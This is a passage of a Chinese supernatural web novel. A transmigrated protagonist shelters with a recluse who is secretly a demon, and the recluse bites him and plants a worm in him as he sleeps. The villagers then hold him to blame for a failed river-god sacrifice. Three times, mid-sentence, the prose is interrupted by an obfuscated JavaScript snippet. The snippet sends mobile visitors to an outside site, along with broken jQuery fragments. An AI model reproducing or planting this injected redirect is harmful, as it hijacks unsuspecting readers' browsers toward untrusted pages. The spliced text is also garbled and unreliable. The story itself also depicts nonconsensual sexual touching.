山间凉意深重,沈岩没有心跳和温度,却不知道为什么忽然觉得身体热了起来。
跟着沈岩回家的一路上,宁戚把沈岩的身世套出了一个七七八八。
沈岩说,他是这附近一个古老村落的村民,因为十年前善水那场大洪涝,村里人死的死散的散,村子被毁了,活下来的村民们四散奔逃。
沈岩一家不舍离开,最近的善水村又极度排外,他们只好生活在善水附近的山林中。
而他的父母因病早早去世,家里就只剩下他一个人。
沈岩念旧,不舍离开,于是一个人在这山林间生存。
好在父母交给了他很多手艺,他自己也会捕鱼打猎,偶尔会将这些东西拎去附近的村庄买卖,以此来维持生计。
宁戚心中很佩服。
要是没有001陪着他,他刚才一个人在山林间那会儿就已经被围上来的鬼吓死了,沈岩居然可以一个人在这里生存这么多年。
沈岩的家是一座用竹子和木板搭建而成的两层木屋,还有一个用竹栏围起来的小小院落,虽然看上去简陋,但麻雀虽小五脏俱全,内外摆设都井井有条。
沈岩将父母去世前住的屋子收拾了出来让宁戚住,宁戚感激非常。
虽然目前还不知道这个副本崩坏的原因是什么,但起码眼前的男主看着还算是纯良。
不过宁戚不敢放下戒心,毕竟……这可是精神值为0的男主啊。
宁戚见到男主以后,越想越觉得这个副本除了鬼有点吓人,村民们不太友好之外,其实也没有什么很难的。
本来第一个副本,应该也不会给宿主很高难度的吧。
“你为什么身上穿着……这种衣服?”
沈岩给宁戚整理床铺时,几次欲言又止,最终该是皱眉看着他身上被他揉捏得舟成一团的红色婚服,开口提醒:“这是喜寿衣。”
“……”
宁戚听到“寿衣”两个字,呆立好半晌,差点又小晕一会,忙七手八脚的将红色的外衣脱下,只穿着内里的白色小褂。
扯乱间,漂亮修长的脖颈和精制凸出的锁骨明晃晃展露在沈岩眼下。
沈岩的眸色暗了暗。
宁戚浑然不觉,把外衣扒了才好受一点,和神色看着有些凝重的沈岩解释说:“村里为河神举行婚礼,让我嫁河神,我跑了。”
沈岩眼中闪起一丝微妙光芒,紧盯着宁戚,问:“嫁给神,不好吗?”
宁戚淡淡陈述道:“用活人做祭,犯法的啊。”
沈岩微不可闻的挑了下眉,又听少年嘟囔:“谁知道这个河神是神还是鬼……你在这里住了这么久,没见到过奇怪的东西?”
沈岩淡淡道:“没有。”
闻言,宁戚有些将信将疑,既然这个世界存在鬼怪,那住在这样的深山中,一点奇怪的事情都没发生过,那也显得很奇怪。
不过现在才和男主熟一点,宁戚没有多问,免得被他察觉不对劲。
夜色彻底深了,沈岩的个头和身形比宁戚要高大,就拿了一套自己十五六岁时穿的衣服拿给他穿,还给宁戚烧了一壶热水洗漱。
在这样黑暗无助的深夜,碰到决定绝世好男主,宁戚内心有些触动,绷着脸认真说:“谢谢你沈岩,以后你有什么需要我帮忙的也可以找我,我家就住在善水村靠近村口,那颗最高的栗子树旁。”
沈岩摇摇头说:“没关系。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088770|179621||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
沈岩家的浴室是由几颗树的树干扎进泥土地里围建而成的,但其实四处都是漏风的小洞,门帘也是一条旧旧的粗麻棉布,冬天洗澡肯定很受罪。
但沈岩一个人住能将家里弄成这样已经很好了。
村里都是烧水洗澡,将热水倒在木桶里,用瓢挖水倒在身上,沈岩这里还有香皂,但看着没怎么用过,带着淡淡的桂花香。
宁戚刚才在林中跑的浑身都是汗,他爱干净,现在有热水洗澡心情很是舒畅,把今天的惊魂一夜暂时抛到了脑后。。
白玉般莹透冷白清瘦的身体被包裹在热气氤氲中,温水自后背舀下,水流顺着线条流畅的腰线,滑过肌肤和脊背的腰线,落入那不可言说之地。
一阵凉风从浴室的空隙中钻入,宁戚冷的瑟缩了一下。
山林中夜晚凉风习习,他也有点害怕,不知道周围有没有哪些不干净的东西。
就在他想快点洗完,伸手去拿香皂时,却骤然感到了一种令人毛骨悚然的凝视。
眼神并非是没有重量的,宁戚虽然人不够聪明,在感知方面就分外敏锐。
门外有人,或者说,并不是人。
那些东西跟过来了?
宁戚的嗓子一阵干哑,不由往下咽了口口水,故作镇定地将肥皂攥在手中,想要装什么都没发现的样子继续洗澡。
可当他弯腰舀水时,那毒舌一般阴冷的令人脊背发寒的感觉却越来越重了。
宁戚再装不下去,心脏怦然跳动,晕眩感再次袭来。
现在没有001,能救他的只有自己。
宁戚深吸口气,心里默念一百遍“阿弥陀佛诛邪退散”,又在脑海中重复播放了一百遍,又在自己面前放大轿娘那张如纸人般苍白恐怖的面孔,以此脱敏。
做好足够的心理准备,宁戚才缓慢地僵硬着身体,转身往后看——
什么也没有。
宁戚小小松了口气,心底却隐隐有股不安:“难道是今天被吓得太多次了,出现了应激反应?”
他能感受到那股被凝视着的感觉并没有消失,视线往旁边左右上下平移,地毯式观察搜索。
观察一震,他注意到浴室竹子与竹子相间的空隙好像有些不太一样。
尽管夜色浓重,从空隙中望去,也应该是漆黑一片,可为什么……那抹黑当中竟反射着浴室内烛火散发出的暖光?
宁戚心想着只要不是鬼,那都无所谓,抱着侥幸心理凑近了去观察。
然而似乎察觉到他的靠近,下一秒,那黑色骤然在他面前缩小
——它被周围两片白所包裹着,漆黑的亮色中清晰倒映出了宁戚的身影……
他一瞬间意识到了什么,在极度惊恐下,连喊都喊不出来,呼吸和心跳跟着停滞。
——那是一只窥视的眼睛。
5. 堕神(5)
几秒的静默后,小小浴室内骤然爆发出一阵惊天般的惨叫。
宁戚维持着那微渺的理智,用衣服把自己的重要部位给挡住,才从浴室直冲而出,没想到正正撞进了闻声而来的沈岩怀中。
沈岩人看着清瘦,胸口却是硬邦邦的,宁戚在腿软前清晰的听到自己的脑袋发出了“咚”地一声响。
在眼前一黑要瘫倒前,被一双有力的大手一把托住。
“怎么回事?”
沈岩忙问。
手心下是宁戚窄又细的腰,触感温热而滑嫩。
沈岩垂眸看到少年凌乱中频频露出肉色的雪白躯体,因为惊慌失措而瞪得又圆又大的眼睛,瞳孔周围渐渐渗出瘆人密布的血丝。
怎么办,想现在就将面前的青年拆吞入腹了……
“有鬼……”
本来就怕鬼的宁戚,半天内被鬼吓了两次,已经连最初的冷静都装不下去,三魂七魄只剩下一缕活魂,抓住救命稻草般紧抱住沈岩的腰,颤巍巍地指着浴室。
“鬼?”
沈岩扯了下唇角,眼白上的血丝退潮般散去,转眼间又恢复成正常的模样,手心在宁戚懵然时不自觉地在那细腻软肉上摩挲了下才放开。
不急于一时,猎物吓坏了,就没那么好吃了。
沈岩迈步走到浴室内外观察了一圈,回来后故作疑惑的问宁戚:“是不是鸟?这里夜里林间很多乱飞的鸟雀,我没有看到其他的东西。”
宁戚已经快速套上了短衫短裤,闻言也冷静下来。
这鬼明显是冲着他来的,沈岩看不到也实属正常。
宁戚苍白着脸扯了下唇角,晃了下惊吓过度的脑袋说:“可能是吧。”
他今晚已经再经不起任何惊吓了,不然他觉得自己可能还没有被鬼杀死,就被鬼吓死了。
沈岩观察着他的神色,善解人意道:“如果你不介意,今晚我可以陪你睡。”
宁戚神色一怔,忙不迭道:“不介意。”
生怕他会反悔似的。
沈岩没想到他会答应的这么快,黑沉沉的眼眸犹如今夜空洞的月色,森然冷寂地默然打量着二话不说拉他去睡觉的少年。
本来宁戚就有这个想法来着,又怕会冒犯到沈岩,他毕竟是个来历不明的陌生人。
所以沈岩主动提出的那一刻,宁戚只又一次在他身上看到了主角身上的光辉。
谁说这男主不好的,这男主可太好了。
宁戚主动躺到了床里面。
但床有点太小了,他和沈岩两个成年男人并肩躺着,手臂都能贴在一起。
“沈岩,你的手很凉,你冷吗?”
说着,宁戚将自己这边的被子给沈岩挪了一点过去:“你盖吧,我不冷,只要盖住脚就行了。”
他怕鬼会从床尾拖他的脚。
沈岩却又将被子挪了过来:“我也不冷,只是夜间寒意重。”
宁戚以为自己和一个陌生人躺在一起应该会睡不着的,可不知道怎么回事,他越想说话意识却沉的越快,很快就不知不觉的进入了睡梦中。
而在他呼吸变得平缓的那一刻,身侧已经闭上眼的沈岩却慢慢睁开了清明的黑沉双眼,抬手将两人身上盖的被子掀到了一边。
玉盘般的月亮从阴云中显露出来,月色从窗外投射进来,落在眼前这个毫无防备的少年身上。
冷白的手指,从宁戚的脸颊抚摸到修长白皙的脖颈,滑过少年洁白如玉的肌肤和瘦到肋骨突出的平整肚皮。
和他刚才看到的,一样。
沈岩瞳孔周围的血色逐渐向眼白周围蔓延,五官悄然发生改变,腿去青涩后,一瞬变成了成熟男人的模样。
而他的右半边侧脸上,缓慢爬上扭曲而狰狞的,如诅咒藤蔓般的纹路。纹路散发着血色的光芒,男人仿佛地狱修罗,踏着无数阴魂而来的恶鬼。
在月色下诡异悚然,再没有了人的模样,和在宁戚面前时因为很久不做人,而刻意伪装的自持稳重。
而男人的眼神毒蛇般在这具净透无暇的躯体上游走。
他情不自禁扫过少年因被触碰而颤抖的浓黑长睫,不由倾身覆上,用唇碰了下少年的眼皮,盯着这张熟睡恬静的面容,哑声说:“那么想拯救我,那就留在我身边,慢慢救赎吧……”
男人面上纹路浸变为血腥的深红,随即,他微微俯身低头,含着少年的脖颈摩挲一瞬后,轻轻咬下一口。
“呃……!”
少年陷入深度的睡眠中,却仍因疼痛不自觉地呻/吟出声,尾音带着叫人心间发颤的柔软。
男人松口时,薄唇已被人类鲜红温热的血液沾染,他像是尝到了什么极其香甜的食物,一点一点舔去唇周的血迹。
与此同时,一直黑色的有小拇指大小的长虫从沈岩脖颈间爬了出来,灵活的从宁戚流血的脖颈,钻进了宁戚的身体……
宁戚的眉头越皱越紧,呢喃:“疼……”
男人单手将宁戚挣扎地双手攥住按在头顶,在身下人抗拒的颤动中,伸舌舔舐过宁戚的脖颈处的伤口。
下一秒,那渗血的齿痕缓慢闭合消失,疼痛逐渐被驱散,身下人这才慢慢停止了挣扎,眉间褶皱慢慢放松消失。
男人凝视着少年毫无防备的睡颜,面无表情的低声喃喃:“又是一个……沦陷者。”
*
第二天宁戚醒来时,已经日上三竿,身边也没有了沈岩的身影。
看到太阳,宁戚想到惊心动魄的昨晚,后怕的搓了搓脸恢复了冷静,从床上爬了起来。
“嘶……”
也不知道是他睡不惯木板床,还是昨晚运动量负荷了,宁戚撑起身体翻身下床时,身体一震酸痛袭来。
他没多想,站起来活动了两下筋骨就推门走了出去,正好看到沈岩从林中回来,他手上还提着一只死透了的野鸡。
见宁戚出门,沈岩目光在他脖颈处不动声色地流连一瞬,对他说:“可以吃了午饭再走。”
宁戚进副本还没吃过一顿好的,肚子饿的咕咕叫,嘴上矜持道:“其实不用,我回家吃吧……”
沈岩和善的笑了笑:“没关系,你不在我一个人也要吃。”
说完就拎着鸡进了厨房,宁戚钦佩的望着男主的背影,视觉上给他加了一层厚厚的发光滤镜。
吃了一顿饱饱的早午饭,宁戚再待下去也不太好意思,提出了离开。
沈岩没说什么,如约将宁戚带出了山林,把他送到了善水村村口的那片林子里。
临别前,宁戚问沈岩:“我以后要怎么找你,还可以见到你吗?”
沈岩愣了下,似乎没想到宁戚会这样问,垂眸想了想,抬手解下了脖颈间挂着的吊坠,递给了宁戚。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088771|179621||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
那吊坠带着一种莹润的绿,水色清澈,没有一丝杂质在里面,如果是块玉,那一定是块价值不菲的好玉。
但看着又不像玉,因为品质太过剔透,反而更像是玻璃和水晶。
沈岩解释道:“我母亲会一点巫蛊之术,这块萤石里有我养大的蛊虫,你晚上来,它可以驱使山间的萤火虫为你引路。”
宁戚愣了下,没有想到第一次见面沈岩就把这么贵重的东西送给了自己。
他肯定是要去找男主的,山林间的路太复杂了,他确实需要这个活地图。
想了想,宁戚还是收下了。
吊坠等他完成任务脱离世界的时候再还给他就是了。
宁戚回村里,一方面是因为他还有一个奶奶不能不管,另一方面则是他想先把河神娶亲的事情弄清楚。
001说过河神娶亲是副本当中很重要的一环,说不准和沈岩会有联系,所以他要先把事情调查清楚,再去找沈岩对症下药。
和沈岩告别后,宁戚回了家。
虽然他走前给奶奶留够吃食,也锁了家里的门,但奶奶手脚不稳,宁戚怕她打翻食物饿肚子。
占了“宁戚”的这个角色,自然也要尽自己做孙子的责任。
然而宁戚没想到,他还没走到家门口,就被不知道从哪冒出来的两个村民拦住了去路。
“终于蹲到这傻小子了!”
两个人膀大腰圆,手上拿着锄头棍子,明显是蹲在这里等宁戚。
宁戚还没反应过来,就听到突然冒泡的001大喊:【快跑!】
对001的信任胜过了身体的本能,宁戚立马就转身撒丫子就要跑,结果一扭头,看到唐明宇和程繁朝他走了过来。
唐明宇看他的眼神很是复杂,但那双昨天还略显多情的双眼,此刻却盛着浓重的阴云,晦暗异常。
前有狼后有虎,周边都是房屋,宁戚根本跑不掉了。
“真没想到,你居然还能回来,看来小傻子,也没有大家以为的那么傻。”
唐明宇语气揶揄,但神色中却带着不明确的疑惑和探究。
宁戚知道现在挣扎也是枉然,不如老实跟着他们走,说不定还能有点不一样的收获。
妥协后,宁戚被四个人围着不知道要往哪去。宁戚心中忐忑,在识海空间敲敲001:“你是什么时候回来的?”
001诡异的沉默几秒,有些麻木的说:【刚刚。】
宁戚问他:“关于男主,你就不能有一点可以透露给我的信息?”
001无语道:【我只能提醒你一点,男主精神值为0,说明他非常危险……】
001话音未落,整个识海空间就开始散发出“滴滴”响的红色预警。
下一秒,带着主神那冷漠低沉音线的总系统,开始播报:【系统001,违反副本规则,现做出禁言12小时的处罚。】
001:【?#%?@……&*&!】
失去001那么久,现在001居然又被禁言!
还是在这种关键时刻!宁戚绷不住,忍不住骂道:“狗系统……”
主系统无情道:【宿主宁戚辱骂系统,作出系统空间关闭12小时的惩罚,期间禁止使用积分及道具。接下来12个小时,请宿主宁戚独自完成副本任务,请知悉。】
宁戚:“……”
6. 堕神(6)
宁戚不可置信道:“为什么之前我带的宿主可以骂我?我的宿主骂我的时候,你怎么不处罚他们,我要投诉。”
主系统冷冰冰道:【每个副本有每个副本的规则,还有,我是主神的伴生系统,您无权处置我。】
“……”
属于是统仗人势了。
宁戚彻底焉了,去的一路上连自己留给001的遗言都想好了。
唐明宇程繁他们将宁戚带去了唐家。
唐家坐落在村中,大概是整个善水村占地面积最大的一家,飞檐屋瓦,青砖铺地,前院甚至独立设有一个小池塘。
要不是宁戚知道这里是村里,还会以为自己穿越到了那个地主级别的农村副本里。
这小村庄里面能有什么赚钱的门路?但唐家和其他住着破烂木屋的村民,差距未免太大了……大的不正常。
宁戚一进去就看到了唐家的堂屋满满的人,他还在当中看到了好几张熟悉的面孔,几乎都是善水村的村民,还有昨天迎亲队里的那些人。
但他们现在都是好好的人,而不是昨晚宁戚惊魂时遇到的鬼。
看来,当时他们要不就是被附身了,要不就是他们真的是鬼……不过宁戚更倾向于前者,因为如果他们真的是鬼的话,不可能光天化日下混在村民里生活那么多年而不起疑。
堂屋主位上,唐祖盛气定神闲地坐着,他左边站着个有点眼熟的中年男人,右旁是凶神恶煞的阿平。而阿平身侧的客位上,坐着一个哭得梨花带雨的年轻男子。
宁戚立马就认了出来,这个年轻男子,就是昨天第一个被巫女选中的新郎!
“族长,都怪这个傻子坏了河神的婚礼!我们赶紧把他处置了吧!不然河神追究起来,我们都得被他害死!”
阿平垂在身侧的拳头捏的咔咔作响,浑身青筋直冒,一双暴起的眼睛死死瞪在宁戚身上,像是恨不得将他吞吃入腹。
其他的村民见状,也纷纷将苛责而愤怒的视线投向宁戚。
唐祖盛却一副气定神闲的模样,从容的抬盖拨了拨手中的茶水,喝茶净了嗓子,才放下茶杯,看向宁戚:“宁戚,到我面前来。”
宁戚其实对面前这只笑面虎有些没底,忐忑地走到了唐祖盛面前。
现在001不在,他只能靠自己,而他唯一能做的就是现在维持好自己的人设。
好在傻子的人设很好用,他们不会对一个傻子有很深的戒备心,他还可以找机会逃脱。
唐祖盛此刻像个亲和的普通长辈,语气也分外和蔼:“你能不能和叔叔说,昨天晚上究竟发生了什么事情?你是怎么到轿子里去的?是不是有人把你骗去了山里?山路那么复杂,你又是怎么下山的?”
宁戚露出慌乱之色,紧张地掐了掐手心,眼眶红了一圈,仿佛做错事的孩子。
唐祖盛鼓励道:“不用害怕,不管是谁哄骗了你,叔叔都会为你做主,不会让你白白蒙冤。只要你说出来,叔叔就放你和你奶奶回家去,还给你买你最喜欢吃的花生糖,好吗?”
宁戚好像被说动了,点了点头,垂眼小声说:“昨天晚上一个叔叔送我回去,可是我想吃糖,就没走,后来……”
宁戚余光看到了神色微变的唐明宇,那黑沉眼眸中盛着冷光,警告似的眯了眯眼。而程繁和那个坐在一旁哭泣的男人,均是白了脸,男人连哭泣声都变小了。
“后来怎么了?”
唐祖盛追问。
宁戚沉默几秒,却眨了眨眼,苦恼道:“我也不知道,后来好像就晕过去了,再醒来就躺在河边……我一个人在山上跑了好久,才找到回家的路。”
唐明宇眉头一拧,眼眸颤了下,死死盯着面前人那张白净的侧脸。
明明一副柔弱而痴傻的模样,居然还会撒谎?
看来,是他低估了这个小傻子。
站在唐明宇身侧的中年男人,不善的看了宁戚一眼,眉间褶皱极深,沉声说:“盛哥,阿繁阿简虽然都是我的儿子,但他们和善水村民一样,自小信奉尊敬河神大人。更何况阿简从小体弱,是怎么也做不出逃婚这种这种事情的!”
宁戚大脑飞速运转,一双眼睛隐秘转着,四处隐秘观察。
原来这个哭泣的男人是程简——是程繁的哥哥。
唐祖盛垂下眼,神色难测。
一旁的阿平不知道在急什么,一副等不及的模样,厉声说:“族长,这傻子肯定是在胡说八道!花轿一路上都有人护送,而且被层层钉死,怎么会出现突然换人的情况?肯定是河神显灵看上了他,所以让他顶替了程简!谁能想到这傻子居然敢跑!不赶紧处置了他,河神一定会降罪我们善水的!”
那中年男人见状,跟着大声附和道:“神佑善水!唐族长快发话解决此事吧!不然十年前的灾厄要是再度降临,我们善水恐要遭灭顶之灾了!”
其他村民也七嘴八舌的开始劝说唐祖盛。
宁戚虽然人不够聪明,但这下也能看出来这个阿平和这个中年男人明显有意在隐瞒些什么。
程简泪眼朦胧,顺势为自己辩解:“族长,我是真的不知道发生了什么?你们都看到了我当时去换了喜服就没有意识了,再醒来人就在山脚下……我哪有那么大的本事撬开轿子,当着那么多人的面逃了啊……”
程繁,程简,唐明宇。
将这些联系倒一起后,宁戚总还觉得有哪里不对劲……
没等他整理清楚,就听到唐祖盛下了命令:“把他们都先关起来吧,此事,待我去问问净生道长。”
又出现新人物了。
宁戚本就不大的脑袋,在001离开后,更是要转冒烟了,这会儿整个人都处在懵然状态,脑子也是乱糟糟的,倒真有点像傻子了。
宁戚被关在了唐家后院的一间柴房,这里院宽墙高,门口还守着两个唐家人,他就是长了翅膀也难以飞出去。
宁戚随遇而安,找了个木桩子坐下了。
001也不在,他积分也不够用不了道具,只能先走一步看一步了。
不过他进来没多久,就听到门外传来一阵脚步声。
紧接着唐明宇的声音隔着木门闷闷传来:“我问他两句话,你们走远点。”
“好的,少爷。”
柴房门被推开,高挑的身影迈步走入,到了宁戚跟前。
宁戚仍然坐在那里,动也不动,像没有看见有人进来。
唐明宇也不生气,在他身前蹲下,眼尾微挑起,眼中闪起恶劣的光芒:“小傻子还会撒谎,是我低估了你。”
宁戚将头扭头一边,不是很想理这个骚扰犯,至少目前为止,他不觉得唐明宇是什么好人。
唐明宇不怒反笑,手撑在膝盖上托着脸偏头盯着他:“装的辛苦吗?知道残障人没有做河神新郎的资格,居然一装就装了这么多年。不过你比其他人都要聪明和耐心,至少让我刮目相看。”
唐明宇看着面前这张漂亮的小脸,心中泛起鞋微的波澜。
之前只是意外发现这个小傻子长得好看,没想到原来还是个聪明的傻子。
比起程繁程简那两个只会哭唧唧的废物要鲜明可爱多了。
唐明宇从没在乎过别人的死活,谁死了活着都和他没关系。
可现在,他有些舍不得面前这个被他突然发现注意到的男孩,就这么死了。
唐明宇双眸亮起兴奋光芒,没忍住抬手轻抚少年的细嫩面颊,蛊惑般喃喃道:“我可以不计较你骗我的事情,救你出去,如果你愿意……”
结话没说完,唐明宇触碰上宁戚面颊的手背忽然传来一阵刀绞肉的刺痛感。
“嘶——”
唐明宇立马收回手,眸色一瞬阴沉下来,结果垂眸一看,却没有在自己手背上发现任何伤痕,连一丝红都没有,刺痛也在刹那间慢慢消退下去。
“你怎么了?”
宁戚被他这反应吓了一跳。
唐明宇面无表情的盯着宁戚看了会儿,看着面前这双澄澈的眼眸,确定不是他干的后,不由拧了下眉,疑心自己是不是产生幻觉了?
不过现在不是想这些的时候,唐明宇敛去了眼眸的冷意,起身对宁戚扯了扯唇角:“你没有供出我是个明智的选择,我会想办法救你。但宝贝儿,在此期间,你一定要守好自己的嘴,明白吗?”
宁戚对他的话半信半疑,但有希望总比没有好,只好点了点头。
“你乖,等我。”
唐明宇满意地走了。
唐明宇
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088772|179621||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一走,宁戚立马抬起胳膊狠狠擦了擦脸,从鼻腔里哼出一声。
他现在已经捋清楚一些事情原委了,唐明宇现在在这里装好人,实则把他害到这个地步的,差不多就是他。
宁戚在系统给他提供的副本背景中,得知村长姓程,那么那个刚才为程简辩解的中年男人,相比就是村长程建安了。
身为村长的儿子,应该总是有些特权的,所以程繁程简应该是不知道从哪知道了程简可能会被神婆选中的事情。
被神婆选中,和河神结婚当然不是什么好事。
程繁想要救哥哥,所以去求了从小一起长大的朋友唐明宇,并提出让傻子宁戚做这个替死鬼。
毕竟一个傻子而已,死了还是活着根本无人在意。
这也就能解释的清楚为什么一向看不起宁戚的程繁,会主动来找宁戚一起去看河神成亲。而且他们应该是都知道智障残缺的村民是不能去现场的,但仍然语言诱惑宁戚和他们一起上了山。
唐明宇是唐祖盛的儿子,如果他中途想在轿子里动点手脚不是难事。又或者,其实村长也想救自己的儿子,所以安插了人混在送亲队伍里接应也说不定。
到了山上,两个人就在想办法把宁戚骗到花轿上,移花接木。
至于宁戚遇到的那些鬼……可能真的是鬼,后来的轿夫娇娘应该也是被鬼上身了。
唐明宇他们也估计没想到宁戚这么倒霉,都不用他们骗,宁戚见了鬼自己吓晕了……一切都非常顺理成章。
如果宁戚没有活着回来的话。
捋清整件事情后,宁戚唯一疑惑的地方就是:村长和唐祖盛不论是在刚才的相处里,还是在001和他讲述的善水村背景中,看上去关系都很不错,属于一根绳上的蚂蚱。如果村长真的提前知道了自己的儿子会被选中,为什么不去亲自求唐祖盛?
连唐明宇都能轻易把人给换了,唐祖盛只会权限更大吧?
除非……选择程简这件事情,本身就和唐家有关。
【——叮咚!】
【恭喜宿主,触发主线“善水村的过往”,积分奖励10,奖励初级道具“粉色滤镜”。】
宁戚双眸一亮,登时又有了希望。
这代表他刚才的推测是对的,功夫不负有心人,主线终于有了进展!
接下来,他就看唐明宇会不会真的遵守承诺了。
宁戚在柴房一直待到晚上,月色从破了个洞的窗户纸洒进来,他呆呆靠着柴堆,想睡又不敢睡。
这里阴森森的,让宁戚不由联想到那天山上见到的一长溜儿鬼,担心那些鬼又找过来……
这时,他忽然听到两声沉闷的“扑通”声响——似是人体落地的声音。
紧接着,柴房门在寂静的夜中被推开,发出“咯吱”声响。
一道修长身影立在门边,抬眸觑向他,嗓音慵懒:“跟我走吧。”
唐明宇还真遵守信用,来救他了。
不管怎么样,唐明宇现在是他唯一逃脱的希望,宁戚来不及多想,立马跟在他后面鬼鬼祟祟的往外走。
今晚的月亮格外圆润,月色明亮的让人能垂眼清晰看到脚下的石子。
然而当宁戚走出柴房门,离开昏暗空间后,一抬头却是直直和挂在唐明宇肩头的东西对上了视线。
宁戚登时僵在了原地,眼神都呆滞了。
那东西只有满月婴儿的大小,手脚弯曲成诡异曲折的模样,灰白面色上布满尸斑,瞳孔和眼白冒着滋滋黑气,笑时露出一口沾着血的焦青利齿,齿间似乎还卡着血肉……
原来恐惧到极致人真的会说不出话。
宁戚脑袋一片空白,月色下面颊惨白如纸,瞪大眼睛和小鬼对视。
一瞬间他连呼吸都快忘了。
唐明宇却毫无所觉,见他这副僵直不动的模样,皱眉低声问:“你怎么了?再不走会被发现。”
“嘻嘻。”
那小鬼正朝着宁戚笑着,笑的诡异又狰狞。
小鬼伸出血红的舌头,舔了舔齿间的血肉,看宁戚的眼神像发现了更好吃的东西。
猝不及防间,在宁戚愕然的视线里,小鬼伸出没有指甲的短手,猛地张开一口利齿,森然朝宁戚扑了过来——
7. 堕神(7)
宁戚觉得自己大概是被连日找上来的鬼给吓傻了,一瞬间没能做出任何动作,身体也被定住一般,在一阵晕眩感中,瞪大眼睛看着那张狰狞恐怖的脸骤然朝自己靠近。
然而,就在那小鬼的那畸形的小手即将碰上宁戚的刹那,小鬼忽然偏了偏头,顿在空中,露出疑惑的神情。
随后像在他身上看到了什么极其可怕的东西,扭曲着面颊,从喉咙里发出一声凄厉的尖叫,在宁戚惊恐的视线中,化成了一股黑烟,在夜色中漂淡而去……
“小傻子,你怎么了?”
唐明宇余光见他没跟上,疑惑扭头,就看到宁戚傻了似的愣在院子里,望着前方一根木柱子发呆。
这个样子,倒真像个傻子了。
宁戚还没能从从小鬼贴脸的惊恐中回过神来,惊魂未定,就被着急出逃的唐明宇拉过手腕迷迷糊糊带到了不知道那间屋子里。
感受到唐明宇手掌心里活人的温度,宁戚才勉强找回几丝安慰。
同时又在混乱思绪中找到了一些疑点。
为什么唐明宇肩头上会出现小鬼,而且好像这些鬼都只有他一个人能看见?
宁戚早在主神空间熟读各类副本,最起码知道小鬼原本叫“古曼童”。“古曼童”是流产早夭的孩童,它的出现原是亲人通过供养为婴灵积德,好让他们脱胎转世。
但后来却渐渐被有心之人利用、曲解,改编为一种邪术。
这些事情一定和唐家脱不了关系,毕竟小鬼的作用就是敛财、转运,唐家和善水村其他村民的贫富差距大到不可思议,说不定就和养小鬼有关。
唐明宇怕他又跟不上来,带他拐去偏门时,一直攥着他的手不放。
去偏门的路上,他们经过唐家的祠堂,夜黑风高,唐明宇也怕撞见人,打断带着宁戚从祠堂后面的小门绕过去。
结果没想到两个人这么背,才进来就听到身后传来脚步声,两个人只好躲在一众牌位后面,借那长柱遮挡身形。
外面一阵纷乱脚步声后,门“吱呀”一声被人从外关上了,随后堂内响起了唐祖盛的声音:“建安,你还是这么沉不住气。”
宁戚在祠堂后悄悄探出一点头,看到唐祖盛对面站着的程建安。
程建安显然怒火中烧,嗓音低哑,面色红温:“盛哥,我就只有程繁程简两个儿子,如果你非要赶尽杀绝,我也不介意和你鱼死网破!”
宁戚眼睛一亮,觉得自己能在这里套到点不一样的线索,扒拉着柱子往旁边探了探头,结果肩膀没注意,碰到了身前一座牌位!
他内心一凛,闭上了眼睛,没出息的倒吸了一口凉气,心想着完了完了……
不过他压在嗓子里的惊呼还没出声,一只苍白的手悄无声息从他后面绕过来,然后捂住了他的嘴。
宁戚倏然睁开了眼睛,发现牌位已经被稳稳扶回原位。
宁戚松了口气的同时察觉到身后人的身躯也贴了上来,从后挤压着宁戚前面那点本就不怎么宽敞的空间。
“唐明宇”的瞳孔现出一种奇异的红,闪烁着瘆人的微光,野兽般死死盯着他的面颊,故意似的凑过来,唇贴着他的耳廓,咬着他的耳朵,低低吐出一句:“别出声。”
宁戚哪里还能出声,连呼吸的空间都快被身后人给掐灭了。
他身形一僵,想要反抗又怕被唐祖盛听到,挣扎了两下还是放弃了。
算了,反正他刚才也是真的救了自己。
宁戚一心只想着任务,等捂在自己嘴上的手捂久了,才发觉“唐明宇”的手冰块似的冷……明明刚才牵他的手时还是温热的。
这一隅黑暗空间内气氛暧昧,祠堂内却是火星四溅。
但宁戚顾不上身后人的手在自己腹间不老实的捏来捏去了。
反正这是唐家的祠堂他也不敢真做什么,宁戚看得出唐明宇对唐祖盛还是有畏惧的。
祠堂内。
唐祖盛听到程建安上述一番威胁的话,丝毫没有惧怕,反而扯起唇笑了笑,眸色阴冷,神色却温和:“建安,你要和我鱼死网破?你别忘了,十年前那件事情……你们家也脱不了干系。”
程建安攥紧拳头冷笑道:“那又怎样?我和我爹最多被判个几年就放出来了?可你别忘了,十年前你骗了大家什么?!你身上可是背着无数条阴魂!”
